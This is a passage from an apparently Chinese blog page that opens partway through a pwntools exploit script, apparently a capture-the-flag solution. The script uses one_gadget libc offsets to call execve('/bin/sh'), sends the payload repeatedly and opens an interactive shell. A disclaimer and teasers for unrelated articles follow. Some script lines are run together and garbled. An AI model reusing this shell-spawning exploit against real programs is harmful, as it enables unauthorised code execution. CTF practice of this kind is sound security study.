constraints:address rsp+0x40 is writablerax == NULL || {rax, "-c", rbx, NULL} is a valid argv0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
oggs=[i+libc.address for i in [0x3f3e6,0x3f43a,0xd5c07]]
payload=payload.replace(b'waaaaaae',p64(oggs[1]))
io.sendlineafter(b'message:',payload)
io.recvuntil(b"(1:no)")
for _ in range(20):io.sendline(b'1\n'*5)io.sendlineafter(b'message:',payload)sleep(1)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/64691.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用C#(.NET8)开发一个NTP(SNTP)服务

完整源码&#xff0c;附工程下载&#xff0c;工程其实也就下面两个代码。 想在不能上网的服务器局域网中部署一个时间服务NTP&#xff0c;当然系统自带该服务&#xff0c;可以开启&#xff0c;本文只是分享一下该协议报文和能跑的源码。网上作为服务的源码不太常见&#xff0c;…

【UE5 C++课程系列笔记】09——多播委托的基本使用

目录 多播委托——申明委托 一、DECLARE_MULTICAST_DELEGATE 二、DECLARE_DYNAMIC_MULTICAST_DELEGATE 多播委托——绑定委托 一、Add 二、AddStatic 三、AddRaw 四、AddSP 五、AddUObject 六、Remove 七、RemoveAll 多播委托——执行 载荷数据 上一篇&#xff1a;…

Python 写个 《系统信息采集工具》为重装系统做准备。。。

图样&#xff1a; 原码&#xff1a; # 系统信息采集工具 # 2024-12-18 # 作者&#xff1a;Hoye # 版本&#xff1a;1.0 # 功能&#xff1a;采集系统信息并保存到文件 # 使用方法&#xff1a; # 1. 运行程序 # 2. 点击“采集系统信息”按钮 # 3. 等待信息采集完成 # 4. 选择保存…

Ubuntu搭建ES8集群+加密通讯+https访问

目录 写在前面 一、前期准备 1. 创建用户和用户组 2. 修改limits.conf文件 3. 关闭操作系统swap功能 4. 调整mmap上限 二、安装ES 1.下载ES 2.配置集群间安全访问证书密钥 3.配置elasticsearch.yml 4.修改jvm.options 5.启动ES服务 6.修改密码 7.启用外部ht…

【Linux】磁盘空间莫名消失,找不到具体原因的思路

磁盘空间莫名消失&#xff0c;找不到具体原因的思路 先说下常见的几种原因&#xff1a; 1、删除的文件未释放空间 2、日志或过期文件未及时清理 3、inode导致 4、隐藏文件夹或者目录 6、磁盘碎片 最后一种单独介绍。 环境&#xff1a;情况是根分区&#xff08;/&#xf…

机动车油耗计算API集成指南

机动车油耗计算API集成指南 引言 在当今社会&#xff0c;随着机动车数量的持续增长和环保意识的不断增强&#xff0c;如何有效管理和降低车辆油耗成为了车主、车队管理者以及交通政策制定者共同关注的问题。为了帮助这些群体更好地理解和优化燃油消耗情况&#xff0c;本接口能…

Fiddle突然抓不到虚拟机的地址

Fiddle不抓虚拟机的地址了 查看是否更换了ip地址,我是因为换了网络 更换正确的ip地址

C语言基础(五)【控制语句与循环综合应用篇猜数字游戏】

文章目录 前言一、实现一个猜数字游戏二、游戏实现的步骤1. 随机数生成1.1 rand1.2 srand1.3 time1.4 设置随机数的范围 2. 菜单函数的实现 3. 游戏函数的实现 二、猜数字游戏的实现1. 不限制次数 2. 限制次数为 5 总结 前言 学习过前面有关控制语句跟循环的相关知识&#xf…

javac 编译java文件源码 怎么生成 ast语法树 步骤详解

在 javac 中&#xff0c;编译源代码并生成抽象语法树&#xff08;AST&#xff09;是一个多步骤的过程&#xff0c;涉及从源码解析到最终生成字节码。以下是详细步骤&#xff0c;描述了如何使用 javac 编译源码并生成 AST。 1. 准备源文件 javac 首先需要源文件。这些源文件是…

手游和应用出海资讯:怪物猎人AR手游累计总收入已超过2.5亿美元、SuperPlay获得迪士尼纸牌游戏发行许可

NetMarvel帮助游戏和应用广告主洞察全球市场、获取行业信息&#xff0c;以下为12月第一周资讯&#xff1a; ● 怪物猎人AR手游累计总收入已超过 2.5 亿美元 ● SuperPlay获得迪士尼纸牌游戏发行许可 ● 腾讯混元大模型上线文生视频能力 ● 网易天下事业部一拆三&#xff0c;蛋仔…

酷克数据携手江西移动入选“星河(Galaxy)”数据库潜力案例

2024 年 12 月 18 - 19 日&#xff0c;为推动打造行业交流平台&#xff0c;驱动产业创新共荣&#xff0c;大数据技术标准推进委员会以“数据重塑价值 智能链接未来”为主题&#xff0c;在北京召开为期两天的“2024 数据资产管理大会”。 在会上&#xff0c;第八届大数据“星河&…

Mysql语法之DQL查询的多行函数

Mysql的多行函数和分组 目录 Mysql的多行函数和分组多行函数概念常用的多行函数 数据分组概念语法where和having的区别 语句关键字及执行顺序语句关键字执行顺序 实际操作基本语句格式和多行操作筛选语句格式 多行函数 概念 不管函数处理多少条&#xff0c;只返回一条记录&…

Ubuntu22.04上安装esp-idf

一、安装准备# 建议使用Ubuntu 20.04 或 Ubuntu 22.04 操作系统 为了在 Ubuntu 22.04 中使用 esp-idf&#xff0c;需要安装一些依赖包 sudo apt-get install git wget flex bison gperf python3\python3-pip python3-venv cmake ninja-build ccache\libffi-dev libssl-dev dfu…

WPF 依赖属性和附加属性

除了普通的 CLR 属性&#xff0c; WPF 还有一套自己的属性系统。这个系统中的属性称为依赖属性。 1. 依赖属性 为啥叫依赖属性&#xff1f;不叫阿猫阿狗属性&#xff1f; 通常我们定义一个普通 CLR 属性&#xff0c;其实就是获取和设置一个私有字段的值。假设声明了 100 个 …

在linux系统的docker中安装GitLab

一、安装GitLab&#xff1a; 在安装了docker之后就是下载安装GitLab了&#xff0c;在linux系统中输入命令&#xff1a;docker search gitlab就可以看到很多项目&#xff0c;一般安装第一个&#xff0c;它是英文版的&#xff0c;如果英文不好可以安装twang2218/gitlab-ce-zh。 …

2024最新CF罗技鼠标宏

使用效果&#xff1a; 支持的功能 M4 7发一个点HK417 连点瞬狙炼狱加特林一个圈 下载链接 点击下载

JS CSS HTML 的代码如何快速封装

我们为什么要封装代码&#xff0c;是因为封装后的代码&#xff0c;会显得非常美观&#xff0c;减少代码的复用&#xff0c;方便我们更好的去维护代码&#xff0c;不用一个一个页面的去找去改&#xff0c;直接封装好的代码里面去改就可以了 目录 1.html代码封装 2.CSS代码封装…

使用docker拉取镜像很慢或者总是超时的问题

在拉取镜像的时候比如说mysql镜像&#xff0c;在拉取 时总是失败&#xff1a; 像这种就是网络的原因&#xff0c;因为你是连接到了外网去进行下载的&#xff0c;这个时候可以添加你的访问镜像源。也就是daemon.json文件&#xff0c;如果你没有这个文件可以输入 vim /etc/dock…

MySQL复制问题和解决

目录 环境介绍 一&#xff0c;主库执行delete&#xff0c;从库没有该数据 模拟故障 修复故障 二&#xff0c;主库执行insert&#xff0c;从库已存在该数据 模拟故障 故障恢复 三&#xff0c;主库执行update&#xff0c;从库没有该数据 模拟故障 故障恢复 四&#xf…

[RocketMQ] 发送重试机制与消费重试机制~

发送重试 RocketMQ 客户端发送消息时&#xff0c;由于网络故障等因素导致消息发送失败&#xff0c;这时客户端SDK会触发重试机制&#xff0c;尝试重新发送以达到调用成功的效果。 触发条件 客户端消息发送请求失败或超时。服务端节点处于重启或下线状态。服务端运行慢造成请…